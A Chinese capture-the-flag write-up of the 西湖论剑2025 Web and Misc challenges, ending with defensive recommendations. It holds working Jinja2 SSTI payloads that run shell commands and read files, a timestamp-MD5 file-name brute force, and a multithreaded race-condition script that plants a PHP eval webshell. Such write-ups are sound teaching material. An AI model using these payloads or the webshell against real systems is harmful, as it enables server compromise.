西湖论剑2025 Web&Misc解析
字数 1118 2025-08-22 12:23:12
西湖论剑2025 Web&Misc解析 - 详细教学文档
Web1 - 命令执行绕过
1. SSTI (Server-Side Template Injection) 利用
攻击向量:
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')("cd+..%26%26cd+..%26%26cd+..%26%26ls")|attr('read')()}}
技术解析:
lipsum是Jinja2模板中的一个内置函数|attr()过滤器用于访问对象的属性- 通过链式调用访问
__globals__字典获取os模块 - 使用
popen()执行系统命令 - URL编码的命令:
cd .. && cd .. && cd .. && ls用于遍历目录
2. 文件读取技巧
攻击向量:
{{x.__init__.__globals__['__builtins__'].open('\x2f\x66\x6c\x61\x67\x66\x31\x34\x39', 'r').read()}}
技术解析:
- 通过对象的
__init__方法访问__globals__ - 获取
__builtins__中的open函数 - 使用十六进制编码绕过可能的过滤:
\x2f\x66\x6c\x61\x67\x66\x31\x34\x39=/flagf149 - 直接读取文件内容
Web2 - 文件上传与条件竞争
1. 初始访问
- 爆破弱密码成功:
admin/year2000 - 可以上传PHP文件但访问不到(后端自动删除)
2. 时间戳MD5预测攻击
攻击原理:
- 后端使用时间戳的MD5作为文件名
- 上传文件获取临时文件名
- 爆破时间戳范围计算MD5匹配
关键代码:
start = int(time.time())
# 上传文件获取tmpmd5
for i in range(start-3000, end+3000):
md5_hash = hashlib.md5(str(i).encode()).hexdigest()
if md5_hash == tmpmd5:
print(i) # 找到正确的时间戳
3. 条件竞争绕过
多线程攻击策略:
- 一个线程不断上传webshell
- 另一个线程不断尝试访问上传的文件
- 利用时间差在文件被删除前访问
关键代码:
def getfile():
while True:
res = session.get(url + filename)
if "321321" in res.text: # 检测webshell是否成功执行
print("ok")
return
def uploadfile():
while True:
res = session.post(burp0_url, data=burp0_data)
filename = re.findall(r"/Uploads/.*/(.*)<", res.text)[0]
# 启动50个线程
for _ in range(50):
threading.Thread(target=uploadfile).start()
threading.Thread(target=getfile).start()
最终webshell:
<?php file_put_contents('/var/www/html/admin/Uploads/.../shell.php','<?php eval($_POST[1]);');echo 321321;?>
4. 绕过disable_functions
- 使用蚁剑插件绕过PHP的禁用函数限制
Web3 - SQL注入绕过
1. 题目特点
- 源码中使用了
String.prototype.replace()过滤逗号
2. 绕过技术
- 利用分开传参绕过逗号限制
- 利用JavaScript字符串替换的特性构造payload
Misc - easydatalog
1. 流量分析
- 数据包中包含加密的蚁剑流量
- 需要解密分析
2. 密码破解
- 存在password.jpg文件但密码未知
- 尝试傅里叶频域变换分析图片隐写
防御建议
针对Web1
- 禁用或严格过滤模板引擎中的危险函数
- 实施严格的输入验证和输出编码
- 限制模板中可以访问的对象和方法
针对Web2
- 使用强密码策略
- 文件上传采用不可预测的命名方案
- 实施文件内容检查而非仅依赖扩展名
- 考虑使用单独的服务处理文件上传
针对Web3
- 使用参数化查询而非字符串拼接
- 实施最小权限原则
- 对输入进行严格类型检查和过滤
针对Misc
- 加密流量使用强加密算法
- 避免在图片中存储敏感信息
- 实施完善的密钥管理策略